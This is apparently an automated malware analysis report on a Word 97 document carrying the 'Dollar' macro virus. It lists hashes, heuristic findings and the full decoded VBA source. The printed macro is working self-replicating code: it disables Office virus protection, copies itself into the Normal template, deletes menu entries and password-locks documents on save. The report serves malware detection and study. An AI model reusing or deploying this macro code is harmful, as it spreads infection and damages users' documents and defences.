Office (OLE) malware analysis — malicious · d67fb5e8da05899b

MALICIOUS

Office (OLE)

29.5 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-10-03

MD5: ce9c8e9e563f97e55597e53ec3eab686 SHA-1: 1ee71ebd30d218049f32cd1d69fda41498ab5de2 SHA-256: d67fb5e8da05899b90561739f3e88e98524138a01e503d84417948460fedb91e

188 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and a VBA macro named 'Dollar' with an AutoOpen subroutine. This macro attempts to infect the current document and the Normal template, and includes logic to potentially display a form named 'Dollarz' on the 9th day of the month. The presence of legacy macro virus markers and the self-propagation behavior strongly suggest a malicious intent to spread.

Heuristics 4

VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2172 bytes
SHA-256: `2c21552c7ab74172feaf56481778b8565bd6b08ab1bcc9a2471f55359f2b1128`
Detection ClamAV: Doc.Trojan.Dollar-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Dollar" Sub AutoOpen() On Error Resume Next Application.ScreenUpdating = False Application.DisplayAlerts = wdAlertsNone WordBasic.DisableAutoMacros 0 Options.VirusProtection = False DocInfect = False GlobInfect = False For d = 1 To ActiveDocument.VBProject.VBComponents.Count If ActiveDocument.VBProject.VBComponents(d).Name = "Dollar" Then DocInfect = True End If Next For f = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(f).Name = "Dollar" Then GlobInfect = True End If Next If DocInfect = False Then Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Dollar", Object:=wdOrganizerObjectProjectItems Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Dollarz", Object:=wdOrganizerObjectProjectItems ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate End If If GlobInfect = False Then Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Dollar", Object:=wdOrganizerObjectProjectItems Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Dollarz", Object:=wdOrganizerObjectProjectItems Options.SaveNormalPrompt = False End If Application.DisplayAlerts = wdAlertsAll Call KillBar If Day(Now()) = 9 Then Dollarz.Show End If End Sub Sub KillBar() CommandBars("tools").Controls("Macro").Delete CommandBars("tools").Controls("Templates and add-ins...").Delete End Sub Sub ToolsMacro() 'DoLLaR by MiDeZ [RiOteRs] 'Thanx ULTRAS Beep End Sub Sub ViewVBCode() Beep If Second(Now()) = 33 Then Dollarz.Show End If End Sub Sub FileTemplates() Beep End Sub Sub ToolsCustomize() Beep End Sub Sub FileSave() ActiveDocument.Password = "DoLLaR" ActiveDocument.Save End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.